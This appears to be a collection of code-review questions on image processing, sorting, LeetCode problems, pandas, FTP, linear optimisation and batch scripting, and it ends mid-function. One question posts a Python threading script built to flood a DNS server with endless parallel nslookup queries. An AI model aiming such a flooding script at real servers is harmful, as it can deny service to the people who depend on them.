texts:
I created a class called QuickBitmap to quickly get/set pixels in a Bitmap object. Using intertops I'm able to safely lock/unlock the bits of the Bitmap and with the use of methods like SaveBits, LoadBits, UpdateUnderlayingBitmap, GetPixel and SetPixel. I can quickly and easily manipulate the image.

The problem:

One of my methods changes the bitdepth to 32 bits. If I use it I'm no longer able to quickly determine if the image I'm manipulating was, originally, composed of only black and white colors.

I created the following methods do it:

private IEnumerable<Color> AllPixels()
{
    for (int i = 0; i < Width;i++ )
    {
        for(int j=0; j<Height; j++)
        {
            yield return GetPixel(i, j);
        }
    }
}

public bool IsBlackAndWhiteParallel()
{
    return AllPixels().AsParallel().All(x => x.IsBlackOrWhite());
}

But as you can guess, it's quite a slow method. So I googled a little and found out that I can break a parallel.for loop.
So I rewrote my method do this:

public bool IsBlackAndWhiteParallel()
{
    bool ret = true;
    Parallel.For(0, Width, (i, loopstate) =>
    {
        for(int j=0; j<Height; j++)
        {
            if(!GetPixel(i,j).IsBlackOrWhite())
            {
                ret = false;
                loopstate.Stop();
            }
        }
    });

    return ret;
}

I benchmarked the code using the benchmark class (I found it in an old question on SO) with 100 iterations:

public static class Benchmarker
{
    public static void Profile(string description, int iterations, Action func)
    {
        // warm up
        func();

        Stopwatch watch = new Stopwatch();

        // clean up
        GC.Collect();
        GC.WaitForPendingFinalizers();
        GC.Collect();

        watch.Start();
        for (int i = 0; i < iterations; i++)
        {
            func();
        }
        watch.Stop();
        Console.Write(description);
        Console.WriteLine(" average time: {0} ms", watch.Elapsed.TotalMilliseconds/iterations);
    }
}

Results:

First code: 1170 ms
Second code: 99 ms

This is how the getpixe/setpixel methods are implemented for 32 bits image:

    [MethodImpl(MethodImplOptions.AggressiveInlining)]
    public Color GetPixel(int x, int y)
    {
        int pos;
        int r, g, b, a;

        pos = (y * stride) + (x * 4);

        b = bytes[pos];
        g = bytes[pos + 1];
        r = bytes[pos + 2];
        a = bytes[pos + 3];

        return Color.FromArgb(a, r, g, b);
    }

    [MethodImpl(MethodImplOptions.AggressiveInlining)]
    public void SetPixel(int x, int y, Color c)
    {
        int pos;

        pos = (y * stride) + (x * 4);

        bytes[pos] = c.B;
        bytes[pos + 1] = c.G;
        bytes[pos + 2] = c.R;
        bytes[pos + 3] = c.A;
    }

I'm satisfied with the result, but I'd like to know if you have any suggestions for improvements.


texts:
I made a merge sort implementation in C++, which I have tested with the values:

6, 38, 27, 7, 12, 58, 92, 43, 3, 9, 82, 10

producing the correct output of:

3 6 7 9 10 12 27 38 43 58 82 92

However, when running my program, it seemed pretty slow, and I was wondering if there were any places in my code where there is an inefficiency, or if the entire implementation (recursive in most places, but iterative in parts of the merging) is the wrong way forward.

#include <iostream>
#include <vector>

template<typename InputIt>
void merge(InputIt f1,
    InputIt l1,
    InputIt f2,
    InputIt l2)
{
    size_t d1 = std::distance(f1, l1),
        d2 = std::distance(f2, l2);

    if (d1 == 1 && d2 == 1 && *f1 > *f2) {
        std::iter_swap(f1, f2);
    }
    else {
        for (size_t i = 0; i < d1; ++i) {
            for (size_t j = 0; j < d2; ++j) {
                if (*(f1 + i) > *(f2 + j)) {
                    std::iter_swap(f1 + i, f2 + j);
                }
            }
        }
    }
}

template<typename InputIt>
void merge_sort(InputIt first,
    InputIt last)
{
    size_t dist = std::distance(first, last);
    size_t left = (size_t)(dist / 2);
    size_t right = dist - left;

    //traverse left
    if (left > 1) {
        merge_sort(first, first + left);
    }

    //furthest left point found, merge upwards

    merge(first, first + left, first + left, last);

    //ensure that all the way right (limited to left section) has been reached
    if (right > 1) {
        merge_sort(first + left, last);
    }

    //furthest right point in left section found, merge upwards
    merge(first, first + left, first + left, last);

    //traverse right
    if (right > 1) {
        merge_sort(first + left, last);
    }

    //furthest right point found, merge upwards

    merge(first, first + left, first + left, last);

    //ensure that all the way left (limited to right section) has been reached
    if (left > 1) {
        merge_sort(first, first + left);
    }

    //furthest left point in right section found, merge upwards
    merge(first, first + left, first + left, last);
}

int main()
{
    std::vector<int> v{6, 38, 27, 7, 12, 58, 92, 43, 3, 9, 82, 10};

    merge_sort(v.begin(), v.end());

    for (auto& x : v) {
        std::cout << x << " ";
    }

    std::cout << std::endl;

    getchar();
}


texts: Checking if 3 numbers are an arithmetic progression

texts:
Mod note: This question is being discussed on meta

I tried to create a method, that given 3 int numbers and a bool returns true if they are in strict increasing order (by the same amount) like (1, 2, 3), (3, 7, 11) or (0, 4, 8). Except if equalOk is set to true, then equality of two adjacent elements is allowed, such as (5,5,7) or (3,3,3) which should also return true;.

Is there any redundant code in my solution and how could it be done simpler?

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace InOrderEqual
{
    class Program
    {
        static void Main(string[] args)
        {
            InOrderEqual(2, 5 , 11, false);  //true
            InOrderEqual(0, 5, 10, false);  //true
            InOrderEqual(5, 4, 3, true);   //false
            InOrderEqual(5, 5, 7, true);   //true
            InOrderEqual(1, 2, 3, true);   //true
            InOrderEqual(12, 12, 12, false); // false
            InOrderEqual(5, 8, 11, false); // true
            Console.ReadLine();
        }
        public static bool InOrderEqual(int a, int b, int c, bool equalOk)
        {
            bool isEqual = false;
            if (b == a || (a == b && a == c))
            {
                isEqual = true;
                if (equalOk == true)
                {
                    Console.WriteLine(true);
                    return true;
                }
                else Console.WriteLine(false);
                return false;
            }

            else if (( a + a) - b == (b + b) - c|| b - a == c - b && c > b && b > a)
            {
                Console.WriteLine(true);
                return true;
            }

            Console.WriteLine(false);
            return false;
        }
    }
}


texts: Invoking parallel threads of a nslookup command in python

texts:
I've written below python script just to invoke parallel threads of a command nslookup linux-host01 dns-server, i'm Just trying to flood the DNS Server dns-server with multiple number of queries in parallel way.

As an argument to this script i'm passing a hostlist file example linux-host01 , linux-host02 etc.

To achieve this i'm using threading module with the below code and this works fine, However, i'm using the the threading first time hence would like to know if this can be simplified of enhanced further.

import os
import threading
from sys import argv, exit

lock = threading.Lock()

hostfile = argv[1]

lst = []
with open(hostfile, 'r') as frb:
    for line in frb:
        lst.append(line.strip("\n"))

threads = []
thread_count = len(lst)

def pop_queue():
    host = None
    lock.acquire()
    if lst:
        host = lst.pop()
        lock.release()
    return host

def dequeue():
    while len(lst) != 0:
        host = pop_queue()
        if not host:
            return None
        else:
            dolookup(host)

def dolookup(name):
    while True:
        os.system("/usr/bin/nslookup %s dns-test01" %name)

for i in range(thread_count):
    t = threading.Thread(target=dequeue)
    t.start()
    print "started thread %s" %i
    threads.append(t)

[t.join() for t in threads]

Appreciate any help on this.


texts:
I'm trying to optimize my solution to this LeetCode problem:

  Write a program to find the nth super ugly number.

  Super ugly numbers are positive numbers whose all prime factors are in
  the given prime list primes of size k.

My working, accepted solution:

import heapq
class Solution:
    def nthSuperUglyNumber(self, n: int, primes: List[int]) -> int:
        heap = [1]
        seen = set()
        while n>=0:
            num = heapq.heappop(heap)
            n -=1
            if n == 0:
                return num
            for p in primes:
                if num * p not in seen:
                    seen.add(num*p)
                    heapq.heappush(heap, num*p)

        return heapq.heappop(heap)

What are some ways to optimize it in terms of time and space complexity?


texts: Save XML tags and information to another file

texts:
This was a coding challenge I had done recently. I was given a text file and in it thee was couple of XML tags. The challenge was to get all the XML tags and the information and save it to another file.

The string I am given:

"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin nec arcu non nisl dapibus scelerisque. Phasellus sagittis ligula vel convallis porttitor. Maecenas sed velit arcu. Proin efficitur ipsum vitae augue semper, bibendum sollicitudin neque egestas".

<OpeningTag><AnotherOpeningTag>Information</AnotherClosingTag></ClosingTag>

"Etiam venenatis feugiat erat, in egestas tellus lacinia eu. Phasellus volutpat lectus nec tristique volutpat. Sed tempus sollicitudin mauris eu blandit.<OpeningTag><AnotherOpeningTag>Information</AnotherClosingTag></ClosingTag> Vestibulum consectetur euismod dui, sit amet blandit ex ultrices ac".

This is the code I came up with:

StringReader reader = new StringReader(text);
while ((text = reader.ReadLine()) != null)
{
if (text.StartsWith("<") && text.EndsWith(">"))
{
    txtXml += text + "\n";

}
else
{
    string regexPattern = @"(<.*>)(.*)(<\/.*>)";
    Regex regex = new Regex(regexPattern, RegexOptions.Singleline);

    MatchCollection collection = regex.Matches(text);

    var list = collection.Cast<Match>().Select(match => match.Value).ToList();

    for (int i = 0; i < list.Count; i++)
    {
        txtXml += list.ElementAt(i);
    }
}
}

This code works and I am getting all the tags and the information and stuff. I just wanted to know if I could achieve this same task in smaller code or code that executes faster than the current method.


texts: Checking whether customers in a dataframe have social media accounts

texts:
I am using an API to check if customers have social media profiles.

Depending on whether they have phone or email or both there's a different search type.

There's a lot of conditions in this function, and the real dataframe has about 50 columns. So I'm just wondering if this is the most efficient way to go about it.

I'm aware that I'm applying this on a full row when I only need to work with a few in the df.

So I have two fake customer records here, and I'm trying to fill the social media columns with info returned from an API call:

import pandas as pd

df = pd.DataFrame(columns=['name','phone','email','facebook','foursquare','instagram','linkedin','skype','twitter'],index=range(0,2))

df['email'] = ['jim@email.com',pd.np.nan]
df['name'] = ['Jim Bob','Joe Bloggs']
df['phone'] = [pd.np.nan,'35543256']

print(df)

         name     phone          email facebook foursquare instagram linkedin  \
0     Jim Bob       NaN  jim@email.com      NaN        NaN       NaN      NaN
1  Joe Bloggs  35543256            NaN      NaN        NaN       NaN      NaN

  skype twitter
0   NaN     NaN
1   NaN     NaN

Depending on the presence of phone/email, the function goes as follows (I believe I've commented my logic acceptably .. if something isn't clear please let me know)

# the columns from the df we want to fill
mycols = ['facebook','foursquare','instagram','linkedin','skype','twitter']

def checksocial(row):

    # if both phone and email are null
    if pd.isnull(row['phone']) and pd.isnull(row['email']):

        # do nothing
        # (analyzing and returning a whole row here, is this efficient?)
        return row

    # if there is no phone number but email is present
    elif pd.isnull(row['phone']) and pd.notnull(row['email']):

        # use phone to search for social media
        # fake API response
        returned_results = ['facebook','foursquare','instagram']

        for socialmedia in returned_results:

            # if it's one of the social media profiles we are looking for
            if socialmedia in mycols:

                # add result to DF under same social media column
                row[socialmedia] = 'Found Social Media'
        # return updated row
        return row

    # if there is a phone number and email is empty
    elif pd.notnull(row['phone']) and pd.isnull(row['email']):

        # use phone to search for social media
        # fake API response
        returned_results = ['facebook','linkedin','twitter']

        for socialmedia in returned_results:

            # if it's one of the social media profiles we are looking for
            if socialmedia in mycols:

                # add result to DF under same social media column
                row[socialmedia] = 'Found Social Media'

        # return updated row
        return row

    # repeat the same for when both email and phone are present

Applying the function:

df = df.apply(checksocial,axis=1)

print(df)

        name     phone          email            facebook  \
0     Jim Bob       NaN  jim@email.com  Found Social Media
1  Joe Bloggs  35543256            NaN  Found Social Media

           foursquare           instagram            linkedin  skype  \
0  Found Social Media  Found Social Media                 NaN    NaN
1                 NaN                 NaN  Found Social Media    NaN

              twitter
0                 NaN
1  Found Social Media

It works fine, but the reason I'm asking for advice here is that the actual code I have is starting to become way too long. (There's parsing a json response that I didn't add here) and there are like 100,000 rows.

I have a lot of if statements, and I'm working with a full row and returning it.

Any advice on how to make this more cleaner/efficient?


texts: Checking if a directory exists in FTP without relying on exception handling

texts:
I've written a method to check if a directory already exists on an FTP server. The only way I could see to make this work was to return a different result from the method if an exception is thrown - very bad practice in my opinion. Is there a better way to write this?

public bool DirectoryExists(string directory)
{
    if (String.IsNullOrEmpty(directory))
        throw new ArgumentException("No directory was specified to check for");

    // Ensure directory is ended with / to avoid false positives
    if (!directory.EndsWith("/"))
        directory += "/";

    try
    {
        var request = (FtpWebRequest)WebRequest.Create(directory);
        request.Method = WebRequestMethods.Ftp.ListDirectory;
        request.Credentials = new NetworkCredential(Username, Password);

        using (request.GetResponse())
        {
            return true;
        }
    }
    catch (WebException)
    {
        return false;
    }
}

The connection hostname, username and password referred to within this block of code are auto properties set when the class is initialized.


texts: Linear Optimization code Python using Pulp

texts:
The problem I need is to solve, is a linear optimization problem where we need to to minimize parcel delivery costs by assigning nodes as hubs, which supposedly will reduce costs.

In my code 'nodes' represents the number of nodes of a given set N. Then 'flows' is a list with the flow x_{ij} from a node i to a node j. In a similar way the list 'costs' is established. 'estab' is a list with the fixed costs f_i for establishing a hub.

A route from node i to node j is given by the sum of (chi*costs(i,k)+alpha*costs(k,l)+delta*costs(l,j), where there are indeed three parts: collection, transfer and distribution.

The problem it-self is solved. The implementation, however, is the issue. Firstly, running this gives 'UserWarning: Overwriting previously set objective'. Secondly, the result is that every node is assigned as a hub, which seems unlikely.

Thanks in advance!

from pulp import *

nodes = range(10)

flows = [[75,37,55,19,20,18,57,17,19,16],
        [26,38,25,27,18,23,38,20,12,17],
        [67,39,51,22,24,21,71,20,23,19],
        [17,33,19,25,16,23,40,23,11,19],
        [17,25,21,19,23,18,73,20,24,19],
        [12,18,12,16,11,17,37,22,10,18],
        [82,78,90,68,95,73,312,99,110,110],
        [35,42,36,48,36,58,173,90,41,92],
        [12,12,15,10,19,11,68,15,24,20],
        [22,25,23,28,23,33,109,51,30,63]]

costs = [[0,20,16,23,23,30,32,33,36,36],
        [20,0,20,13,25  ,19,30,25,38,31],
        [16,20,0,14,7,19,16,18,21,21],
        [23,13,14,0,14,7,18,13,27,18],
        [23,25,7,14,0,16,9,13,14,14],
        [30,19,19,7,16,0,16,8,25,13],
        [32,30,16,18,9,16,0,9,10,7],
        [33,25,18,13,13,8,9,0,18,5],
        [36,38,21,27,14,25,10,18,0,14],
        [36,31,21,18,14,13,7,5,14,0]]

estab = [28767,28377,29774,24301,25853,20763,34166,33859,24718,33686]

chi = 3              #multiplier costs of collection
alpha = 1            #multiplier costs of transfer
delta = 2            #multiplier costs of distribution

estab_dict = dict(zip(nodes,estab))

Parcdelco = LpProblem('Parcdelco', LpMinimize)

con = LpVariable.dicts('Connection', (nodes,nodes),0,1,LpInteger)

routes = [(i,k,l,j) for i in nodes for k in nodes for l in nodes for j in nodes]

path = LpVariable.dicts('Path', (nodes,nodes,nodes,nodes),0,1,LpInteger)

for i in nodes:
    for j in nodes:
        Parcdelco += lpSum([flows[i][j]*lpSum([path[i][k][l][j]*(chi*costs[i][k]+alpha*costs[k][l]+delta*costs[l][j]) for (i,k,l,j) in routes])])\
                    +lpSum([con[i][i]*estab_dict[i] for i in nodes])

for i in nodes:
    Parcdelco += lpSum([con[i][i]]) >= 1

for i in nodes:
    for j in nodes:
        Parcdelco += lpSum([con[i][j]]) == 1

for i in nodes:
    for k in nodes:
        Parcdelco += con[i][k] <= con[k][k]

for i in nodes:
    for k in nodes:
        for l in nodes:
            for j in nodes:
                Parcdelco += path[i][k][l][j] <= con[i][k] + con[j][l]

for i in nodes:
    for k in nodes:
        for l in nodes:
            for j in nodes:
                Parcdelco += path[i][k][l][j] >= (1/2)*(con[i][k] + con[j][l] - 1)

Parcdelco.solve()

for i in nodes:
    print(value(con[i][i]))


texts: Shortening boolean with if statement for document version comparison

texts:
Can this be shortened to one line?

 bool areVersionsEqual = documentComparer.Equals(version, imported);

if (areVersionsEqual == false)
  {
    changedDocument.Add(imported);
   }


texts: Search in a 2D array to find if there is a row or a column that contains the word “error” in every cell of that row or column

texts:
Search in a 2D array to check if there is a column or a row in the 2D Array thats contains all the word “error”, if yes return the index of that row or column else return 0;
Exception: if the row index equals the column index then it does not matter if contains the word "error" or not. FYI, n is the size of 2D array (number of rows = number of columns)

I wrote this code and I want to check with you if you agree with the logic:
int search(int n, String[][] myArray) {
        int j, k;
        boolean isError;

        //To search per ROW
        for (int i = 1; i <= n; i++) {
            j = 1;
            isError = true;

            while (j <= n && isError) {
                if ((i != j) && (myArray[i][j] != "error")) {
                    isError = false;
                }

                if (j == n && isError) {
                    return i;
                } else {
                    j++;
                }
            }
        }//end for loop

        //To search per COLUMN
        for (int i = 1; i <= n; i++) {
            k = 1;
            isError = true;

            while (k <= n && isError) {
                if ((i != k) && (myArray[k][i] != "error")) {
                    isError = false;
                }

                if (k == n && isError) {
                    return i;
                } else {
                    k++;
                }
            }
        }//end for loop

        return 0;

    }


texts: Bat file that can create a text file of any exact size and it will be compression resistant

texts:
I'm making a bat file that can create a text file of any exact size and it will be compression resistant just for fun. It's currently in 2 parts because that's the only way I could figure out how to do it. I tried running the second part in a loop in the first one so I didn't need to use the call command but it didn't work.

The problem is that it takes forever and my CPU peaks at 31% so I'm wondering if there is a way to make it use the CPU more so it can execute faster or just make my code more efficient so it runs faster.

This is part one:

@set GB=1
@set TB=0
@set PB=0
@set  /a "g=1*%GB%"
@set  /a "t=1024*%TB%"
@set  /a "p=1048576*%PB%"
@set  /a "Total=%g%+%t%+%p%"
@set  /a "c=%Total%*262144"
@set  /a "d=%c%-1"
@echo on
@set  /a "gTotal=%Total%/1"
echo %gTotal% GB
@set  /a "tTotal=%gTotal%/1024"
echo %tTotal% TB
@set  /a "pTotal=%tTotal%/1024"
echo %pTotal% PB
echo to create %gTotal%GB_RandPass.txt press any key
pause
@Echo Off
color 0a
::set /P lengthnumberuser="What length do you want your password to be?   "
::pause
::cls
Setlocal EnableDelayedExpansion
Set _RNDLength=4101
Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
Set _Str=%_Alphanumeric%987654321
:_LenLoop
IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
SET _tmp=%_Str:~9,1%
SET /A _Len=_Len+_tmp
Set _count=0
SET _RndAlphaNum=
:_loop
Set /a _count+=1
SET _RND=%Random%
Set /A _RND=_RND%%%_Len%
SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
If !_count! lss %_RNDLength% goto _loop
Echo Password is: is !_RndAlphaNum!
::pause
@echo %_RndAlphaNum%> %gTotal%GB_RandPass.txt
for /l %%x in (1, 1, %d%) do (
call "create_1GB-2EB_fileV4_Part2.bat"
)
::  @echo %_RndAlphaNum%>> %gTotal%GB_RandPass.txt
::)

This is part 2:

@set GB=1
@set TB=0
@set PB=0
@set  /a "g=1*%GB%"
@set  /a "t=1024*%TB%"
@set  /a "p=1048576*%PB%"
@set  /a "Total=%g%+%t%+%p%"
@set  /a "c=%Total%*262144"
@set  /a "d=%c%-1"
::@echo on
@set  /a "gTotal=%Total%/1"
::echo %gTotal% GB
@set  /a "tTotal=%gTotal%/1024"
::echo %tTotal% TB
@set  /a "pTotal=%tTotal%/1024"
::echo %pTotal% PB
echo createing %gTotal%GB_RandPass.txt Please wait.
::pause
@Echo Off
color 0a
::set /P lengthnumberuser="What length do you want your password to be?   "
::pause
::cls
Setlocal EnableDelayedExpansion
Set _RNDLength=4101
Set _Alphanumeric=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
Set _Str=%_Alphanumeric%987654321
:_LenLoop
IF NOT "%_Str:~18%"=="" SET _Str=%_Str:~9%& SET /A _Len+=9& GOTO :_LenLoop
SET _tmp=%_Str:~9,1%
SET /A _Len=_Len+_tmp
Set _count=0
SET _RndAlphaNum=
:_loop
Set /a _count+=1
SET _RND=%Random%
Set /A _RND=_RND%%%_Len%
SET _RndAlphaNum=!_RndAlphaNum!!_Alphanumeric:~%_RND%,1!
If !_count! lss %_RNDLength% goto _loop
Echo Password is: is !_RndAlphaNum!
::pause
::@echo %_RndAlphaNum%> %gTotal%GB_RandPass.txt
::for /l %%x in (1, 1, %d%) do (
@echo %_RndAlphaNum%>> %gTotal%GB_RandPass.txt
::)


texts: Longest Increasing Path in a Matrix from leetcode

texts:
Solved this:

  Given an integer matrix, find the length of the longest increasing
  path.

  From each cell, you can either move to four directions: left, right,
  up or down. You may NOT move diagonally or move outside of the
  boundary (i.e. wrap-around is not allowed).

Solution: do dfs traversal from every greater node to smaller node and store the result. Reuse the result when the same node is traversed again. Take the maximum of all the directions and return the result.

class Solution(object):
    def longestIncreasingPath(self, matrix):
        """
        :type matrix: List[List[int]]
        :rtype: int
        """
        def check_boundary(matrix, (row, col)):
            if row >= len(matrix) or row < 0:
                return False
            if col >= len(matrix[0]) or col < 0:
                return False
            return True

        def dfs(current, matrix, visited, memory):
            cost = 0
            if not check_boundary(matrix, current):
                return -1
            if current in visited:
                return memory[current]
            for direction in [[-1, 0], [1, 0], [0, -1], [0, 1]]:
                new = current[0] + direction[0], current[1] + direction[1]
                visited.add(current)
                if check_boundary(matrix, new) and matrix[current[0]][current[1]] > matrix[new[0]][new[1]]:
                    cost = max(cost, 1 + dfs(new, matrix, visited, memory))
            memory[(current)] = cost
            return cost

        if not matrix:
            return 0
        maximum = 0
        visited, memory = set(), {}
        for i in range(len(matrix)):
            for j in range(len(matrix[0])):
                maximum = max(maximum, dfs((i, j), matrix, visited, memory))
        return maximum + 1


texts: Bisection method for finding the root of a function

texts:
For those who aren't familiar with the bisection method for finding the root of a function (i.e. finding where \$f(x) = 0\$) the basic idea is:

Take a function \$f(x)\$ and an interval \$[a,b]\$
If \$[f(a)] \cdot [f(b)] < 0\$, there is a root in the interval, as one of those is a negative value
Repeatedly half the interval until you find an acceptable root within a maximum error of \$\varepsilon\$

I have the following code to emulate this process:

float bisect(float(*f)(float), float e, float a, float b){
    if (f(a)*f(b) > 0) { printf("Invalid interval - returning\n");  return 0; }
    float c;
    while (1){
        c = (a + b) / 2;
        if ( ((b-c) / c) <=e ) break;
        f(b)*f(c) <= 0 ? a = c : b = c;
    }
    return c;
}

Which I would pass a test function representing \$f(x) = x^{3}-x-2\$ with \$\varepsilon = 10^{-6}\$ and check for a root in the interval \$[a,b]\$.

typedef float (*func)(float);

float test(float x){
    return (x*x*x) - (x) - 2;
}

int main(){
    func f = &test;
    double start, end, ans;

    start = get_time();
    ans = bisect(f, .00001f, 1, 2);
    end = get_time();

    printf("The root is %f and took %e seconds", ans, end-start);
    return 0;
}

This code works, and returns 1.521385, which properly approximates the actual value of 1.5213928 (the actual error is 0.0000078).

I'm on Windows right now (using Visual Studio 2013), and I'm using this function for the benchmarking:

#include <windows.h>
double get_time()
{
    LARGE_INTEGER t, f;
    QueryPerformanceCounter(&t);
    QueryPerformanceFrequency(&f);
    return (double)t.QuadPart / (double)f.QuadPart;
}

I was interested to see if there were a way to optimize any of this to make it run as fast as possible.


texts:
Consider an 8-bit complier, in which we have an integer of size, say
  2-words i.e. 16-bits or 2 bytes. You need to store three integer
  values which are supposed to be as:

Name        Range       Size Required
--------------------------------------------------
Integer 1    0-3        2bits (00-11   in binary)
Integer 2    0-5        3bits (000-101 in binary)
Inetger 3    0-7        3bits (000-111 in binary)

  In total, we need only 8 bits to store all of these three values.
  Which means that a single variable of integer datatype has enough
  memory to accommodate these values. The challenge is to store all of
  these three variables into a single instance of integer datatype and
  retrieve it whenever required.

  In other words, you need to develop a program which can - at the
  maximum - use only two instances of integer datatype, first one for
  the purpose of scanning values from the standard input device say
  keyboard and the second one to store the data entered by user in the
  form of three integer variables as discussed above and print them by
  retrieving it from the second instance in which the data was stored.

This is my program with no input validation.  Please review it.

#include <stdio.h>
#include <assert.h>

#ifdef DEBUG
void test();
#endif

#define store(_out, _in, _pos) ((_out) |= ((_in) << (_pos)))
#define ret(_out, _pos, _mask) (((_out) >> (_pos)) & (_mask))

#define firstnum_pos  0
#define secondnum_pos 2
#define thirdnum_pos  5

#define firstnum_mask  0x3
#define secondnum_mask 0x7
#define thirdnum_mask  0x7

int main()
{
  unsigned short input = 0, output = 0;
  printf ("Enter first number:");
  scanf ("%hu", &input);
  store(output, input, firstnum_pos);
  printf ("Enter second number:");
  scanf ("%hu", &input);
  store(output, input, secondnum_pos);
  printf ("Enter third number:");
  scanf ("%hu", &input);
  store(output, input, thirdnum_pos);

  printf ("first  number: %d", ret(output, firstnum_pos, firstnum_mask));
  printf ("second number: %d", ret(output, secondnum_pos, secondnum_mask));
  printf ("third  number: %d", ret(output, thirdnum_pos, thirdnum_mask));

#ifdef DEBUG
  test();
#endif

  return 0;
}

#ifdef DEBUG
void test()
{
  int i,j,k;
  short out;
  for (i=0; i<=3; i++)
    for (j=0; j<=5; j++)
      for (k=0; k<7; k++)
        {
          out = 0;
          store(out, i, firstnum_pos);
          store(out, j, secondnum_pos);
          store(out, k, thirdnum_pos);
          assert (i == ret(out, firstnum_pos, firstnum_mask));
          assert (j == ret(out, secondnum_pos, secondnum_mask));
          assert (k == ret(out, thirdnum_pos, thirdnum_mask));
        }
  printf ("Test completed\n");
}
#endif


texts:
This is my first Python text-based game. Let me know if there is something I should improve on or fix in the way that my code is written because I feel that I am being very redundant in my code, but I'm just learning this stuff.

Also note that note.txt just says:

  this cabin will self destruct in.....

#Lost In the Woods - A simple text based game
from sys import exit

def start():
    print "You are in the middle of the woods alone and scared!"
    print "There is no one around but yourself."
    print "You look around and wonder....."
    print "What will you do?"
    print "1.move forward\n2.stay still"

    choice = raw_input("> ")

    if "move" in choice:
        bear_fight()
    else:
        print "Well your still at the same spot."
        start()

def bear_fight():
    print "Ahead of you is a huge hungry bear with razor sharp claws"
    print "Hes looks angry too!"
    print "Do you....."
    print "1.throw rock\n2.play dead\n3.run away\n"

    choice = raw_input("> ")

    if "run" in choice:
        print "Duhhh.... Did you think you can out run a bear?"
        dead("The bear catches up and has you for dinner, Good Job")
    elif "play dead" in choice:
        print "The bear laughs at you and chews but off."
        dead("You lost your but and lost this game")
    else:
        print "You deafted the bear with a rock! Hows that possible?"
        print "Anyways, You contine to move forward untill......"
        cabins()

def cabins():
    print "You come acroos two cabins."
    print "One of the left and one on the right"
    print "Whcih cabin do you pick?"
    print "1.left\n2.right\n"

    choice = raw_input("> ")

    if "left" in choice:
        cabin_one()
    else:
        cabin_two()

def cabin_two():
    print "You apprach the cabin on the right."
    print "You notice a note on the cabin door."
    print "Will you......"
    print "1.read the note\n2.open the door"

    choice = raw_input("> ")

    if "read" in choice:
        letter = open("note.txt", 'r')
        print letter.read()
        letter.close()
        for count in range(10, 0, -1):
            print count
        dead("The cabin explodes and you die")
    else:
        print "As you walk into the cabin"
        print "You slip on a toy car and crack you skull!"
        dead("Good job, mabey you should have read the note first!")

def cabin_one():
    print "You enter the cabin and decide to spend then night."
    print "You wake up the next morning and go outside."
    print "You notice the bight sun and a dustty trail on the ground."
    print "Will you follow the sun or follow the trail"
    print "1.follow sun\n2.follow trail"

    choice = raw_input("> ")

    if "sun" in choice:
        the_sun()
    else:
        the_path()

def the_sun():
    print "You sweet to death and die!"
    dead("Follow the path next time dummy")

def the_path():
    print "the path leads to a long road."
    print "How will you get home from here?"
    print "1.hich-hike\n2.walk the road"

    choice = raw_input("> ")

    if "hich" in choice:
        print "No bobdy comes for you."
        dead("You starve to death and die")
    else:
        print "You see civiliztion and stop at the first buger king."
        win("Congrats you win this silly game!")

def dead(msg):
    print msg + "!!!"
    exit(0)

def win(msg):
    print msg
    exit(0)

start()


texts: Joining and resolving two paths while keeping them relative conditionally

texts:
I would like to have a function Chain-Paths to accomplish the following: given a base directory (Base) and a location, possibly relative to that given Base (Chained), output the result of joining both paths. If however Chained is already an absolute path, just return that. If both paths are relative, keep the result relative as well.

The above, reformulated in test cases (works if run from a user directory, e.g. C:\Users\ojdo):

$testCases = @(
    @{
        Base = "..\..\Windows\Fonts"
        Chained = "..\system32\notepad.exe"
        Expected = "..\..\Windows\system32\notepad.exe"
    }
    @{
        Base = "C:\Windows\Fonts"
        Chained = "..\system32\notepad.exe"
        Expected = "C:\Windows\system32\notepad.exe"
    }
    @{

        Base = "AppData\Roaming"
        Chained = "C:\Windows\system32\notepad.exe"
        Expected = "C:\Windows\system32\notepad.exe"
    }
)

foreach ($case in $testCases) {
    $expectedResult = $case.Expected
    $actualResult = (Chain-Paths $case.Base $case.Chained)
    $testResult = if($actualResult -eq $expectedResult) {"PASS"} else {"FAIL"}

    Write-Host ("{0}: {1} == {2}" -f $testResult, $actualResult, $expectedResult)
}

This is the function I have come up with:

function Chain-Paths($Base, $Chained)
{
    if (Split-Path $Chained -IsAbsolute) {
        return $Chained
    } else {
        $joinedPath = Join-Path $Base $Chained
        if (Split-Path $Base -IsAbsolute) {
            return (Resolve-Path $joinedPath).Path
        } else {
            return Resolve-Path $joinedPath -Relative
        }
    }
}

My questions:

Am I overcomplicating things?
Is there a way to simplify things by using a .net function?
Is the (...).Path really required?
Any stylistic recommendations (apart from missing docstring)?


texts: Return target informations from nested api json output

texts:
How could i improve the following code. This part was easy to implement but there is a lot of redondancy and i use pandas to return as dict which seems quite odd.
def pipeline_place_details(place_id, fields, lang):
    """Return a dataframe with useful information

    Args:
        place_id ([string]): Id retrieved from google api
        fields ([type]): Field retrieved from json output
    """
        fields = ['name', 'formatted_address', 'international_phone_number', 'website', 'rating', 'review']
        lang = 'fr'
        # details will give us a dict which is the result of serialized json returned from google api
        details = get_place_details(place_id, fields, "fr")
        try:
            website = details['result']['website']
        except KeyError:
            website = ""

        try:
            address = details['result']['formatted_address']
        except KeyError:
            address = ""

        try:
            phone_number = details['result']['international_phone_number']
        except KeyError:
            phone_number = ""

        try:
            reviews = details['result']['reviews']
        except KeyError:
            reviews = []
        rev_temp = []
        for review in reviews:
            author_name = review['author_name']
            user_rating = review['rating']
            text = review['text']
            time = review['relative_time_description']
            rev_temp.append((author_name, user_rating, text, time))
        rev_temp_2 = pd.DataFrame(rev_temp, columns = ['author_name', 'rating', 'text', 'relative_time'])
        rev_temp_2['place_id'] = i
        rev_temp_2['address'] = address
        rev_temp_2['phone_number'] = phone_number
        rev_temp_2['website'] = website

        review_desc = review_desc.append(rev_temp_2, ignore_index = True)

    return review_desc.to_dict('records')
```


texts: Find the first occurrence of a substring in a string

texts:
This is a simple version from the function strstr. It returns the address of the first occurrence of the substring s2 in s1. I want to know possible problems in the code, and how to improve it, in general.

#include <stdio.h>

/* Version of strstr, which returns the adress of
   the first occurrence of s2 in s1, else, NULL
*/
char *strs(char *s1, char* s2)
{
    char *ptr = NULL;
    int i, n;

